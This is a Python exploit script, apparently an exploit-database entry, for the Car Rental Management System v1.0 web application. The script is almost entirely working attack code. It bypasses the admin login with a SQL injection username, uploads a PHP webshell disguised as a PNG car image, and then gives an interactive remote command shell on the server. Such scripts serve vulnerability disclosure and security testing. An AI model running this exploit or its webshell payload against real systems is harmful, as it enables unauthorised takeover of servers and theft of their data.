```python
# Exploit Title: Car Rental Management System v1.0 - Unauthenticated RCE
# Exploit Author: Adeeb Shah (@hyd3sec)
# Shout out: Bobby Cooke (boku)
# Date: August 3, 2020
# Vendor Homepage: https://projectworlds.in
# Software Link: https://projectworlds.in/free-projects/php-projects/car-rental-project-in-php-and-mysql/
# Version: 1.0
# Tested On: Windows 10 (x64_86) + XAMPP | Python 2.7
# Vulnerability Description:
#   Car Rental Management System v1.0 suffers from a SQLi authentication bypass allowing remote attackers
#   to gain remote code execution (RCE) on the hosting webserver via uploading a maliciously crafted image.

import requests, sys, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
proxies         = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]
B = [Back.RESET,Back.BLACK,Back.RED,Back.GREEN,Back.YELLOW,Back.BLUE,Back.MAGENTA,Back.CYAN,Back.WHITE]
S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]
info = S[3]+F[5]+'['+S[0]+S[3]+'-'+S[3]+F[5]+']'+S[0]+' '
err  = S[3]+F[2]+'['+S[0]+S[3]+'!'+S[3]+F[2]+']'+S[0]+' '
ok   = S[3]+F[3]+'['+S[0]+S[3]+'+'+S[3]+F[3]+']'+S[0]+' '

def webshell(SERVER_URL, WEBSHELL_PATH, session):
    try:
        WEB_SHELL = SERVER_URL + WEBSHELL_PATH
        print(info+"Webshell URL: "+ WEB_SHELL)
        getdir  = {'s33k': 'echo %CD%'}
        req = session.post(url=WEB_SHELL, data=getdir, verify=False)
        status = req.status_code
        if status != 200:
            print(err+"Could not connect to the webshell.")
            req.raise_for_status()
        print(ok+'Successfully connected to webshell.')
        cwd = re.findall('[CDEF].*', req.text)
        cwd = cwd[0]+"> "
        term = S[3]+F[3]+cwd+F[0]
        print(F[0]+'.....................'+'   Remote Code Execution   '+F[0]+'.....................')
        while True:
            cmd     = raw_input(term)
            command = {'s33k': cmd}
            req = requests.post(WEB_SHELL, data=command, verify=False)
            status = req.status_code
            if status != 200:
                req.raise_for_status()
            resp= req.text
            print(resp)
    except:
        print('\r\n'+err+'Webshell session failed. Quitting.')
        sys.exit(-1)

def SIG():
    SIG = S[1]+"              ,(&@@@@* ,@@@@@@%(               \n"
    SIG += "        &@@@@@@@@@@@@@@@@@&  @@@@@@@@@@@@@(       \n"
    SIG += "    *@@@@@@@@@@@@%@@@@@@     ,,  ``''@@@/  ,@@    \n"
    SIG += "   @@@@@@@@@# /@@@@@@  #@@@@@@@@@&.  * /@@@@@@  \n"
    SIG += "  @@(@@@@@  /@@@@@@  @@@@@@@@@@@@@` @@@@@@ @@ \n"
    SIG += " @@    ,   @@@@@@@  #@@@@@@@@@@@@@ &@@@    %@.\n"
    SIG += " @@       %@@@@@@@@@@  %@@@@@@@@@@@@@.      /@#\n"
    SIG += " %@         /@@@@@@@@@@  &@@@@@@@@@          &@ \n"
    SIG += "  @@          #    ...*&@@@@@@@@@@*         @@ \n"
    SIG += "  ,&@@@@&      /@@@@"+S[0]+S[3]+"@hyd3sec"+S[0]+S[1]+"@@@@@      (@@@@@%  \n"
    SIG += "          @@@@  (@@%@@@@@@@@/@@  *@@@%         \n"
    SIG += "              @@@@@@,*@@@@@ %@@@@@@ \n"
    SIG += "                @@@@@#  @  @@@@@% \n"
    SIG += "                 &@@@@@   @@@@@   \n"
    SIG += "                  @@@@@@ @@@@@*   \n"
    SIG += "                  (@@@@@@@@@@@    \n"
    SIG += "                   @@@%@@@ @@@    \n"
    SIG += "                   @@( @@  @@     \n"
    SIG += "                    &*  &  @      \n"
    return SIG

def formatHelp(STRING):
    return S[3]+F[2]+STRING+S[0]

def header():
    head = S[2]+F[4]+'       --- Car Rental Management System v1.0 - Unauthenticated Remote Code Execution (RCE) ---\n'+S[0]
```

```
    return head

if __name__ == "__main__":
#1 | INIT
    print(header())
    print(SIG())
    if len(sys.argv) != 2:
        print(err+formatHelp("Usage:\t python %s <WEBAPP_URL>" % sys.argv[0]))
        print(err+formatHelp("Example:\t python %s 'http://192.168.222.132/car-Rental-syatem-PHP-MYSQL-master/'" % sys.argv[0]))
        sys.exit(-1)
    # python CLI Arguments
    SERVER_URL  = sys.argv[1]
    # URLs
    LOGIN_URL   = sys.argv[1] + 'login.php'
    UPLOAD_URL = SERVER_URL + 'admin/add_cars.php'
    #BYPASS VARS
    USERNAME = '\' or 1=1-- admin'
    PASSWORD = 'hyd3secboku'

#2 | Create Session
    # Create a web session in python
    s = requests.Session()
    # GET request to webserver - Start a session & retrieve a session cookie
    get_session = s.get(sys.argv[1], verify=False)
    # Check connection to website & print session cookie to terminal OR die
    if get_session.status_code == 200:
        print(ok+'Successfully connected to Car Rental Management System server & created session.')
        print(info+"Session Cookie: " + get_session.headers['Set-Cookie'])
    else:
        print(err+'Cannot connect to the server and create a web session.')
        sys.exit(-1)
    # POST data to bypass authentication as admin
    login_data  = {'uname':USERNAME, 'pass':PASSWORD,'login':'Login Here'}
    print(info+"Attempting to Bypass Admin Login")
    #auth        = s.post(url=LOGIN_URL, data=login_data, verify=False, proxies=proxies)
    auth        = s.post(url=LOGIN_URL, data=login_data, verify=False)
    loginchk    = str(re.findall(r'Login Successful', auth.text))
    # print(loginchk) # Debug - search login response for successful login
    if loginchk == "[u'Login Successful']":
        print(ok+"Bypass successful.")
    else:
        print(err+"Failed login. Check admin username.")
        sys.exit(-1)

#3 | File Upload
    PNG_magicBytes = '\x87\x50\x4e\x47\x0d\x0a\x1a'
#    Content-Disposition: form-data; name="image"; filename="file.php"
#    Content-Type: application/x-php
    websh       = {
        'image':
        (
            'hyd3.php',
            '<?php echo shell_exec($_REQUEST["s33k"]); ?>',
            'image/png',
            {'Content-Disposition': 'form-data'}
        )
    }
    fdata       = {'send':'lolz'}
    print(info+"Exploiting vehicle image file upload vulnerability to upload a PHP webshell")
    #upload_car = s.post(url=UPLOAD_URL, files=websh, data=fdata, verify=False, proxies=proxies)
    upload_car = s.post(url=UPLOAD_URL, files=websh, data=fdata, verify=False)

#4 | Get Webshell Upload Name
    uploadchk = re.findall(r'Vehicle Succesfully Added', upload_car.text)
    #print uploadchk[0]
    #uploadchk = uploadchk[0]
    # print(uploadchk) # Debug - Find webshell file upload in response
    #print uploadchk
    #uploadchk = uploadchk[0]
    if uploadchk[0] == "Vehicle Succesfully Added":
        print(ok+"Successfully uploaded webshell")
    else:
            print(err+"Webshell upload failed.")
            sys.exit(-1)
    webshPath   = 'cars/hyd3.php'
    print(info+"Webshell Filename: " + webshPath)

#5 | interact with webshell for Remote Command Execution
    webshell(SERVER_URL, webshPath, s)
```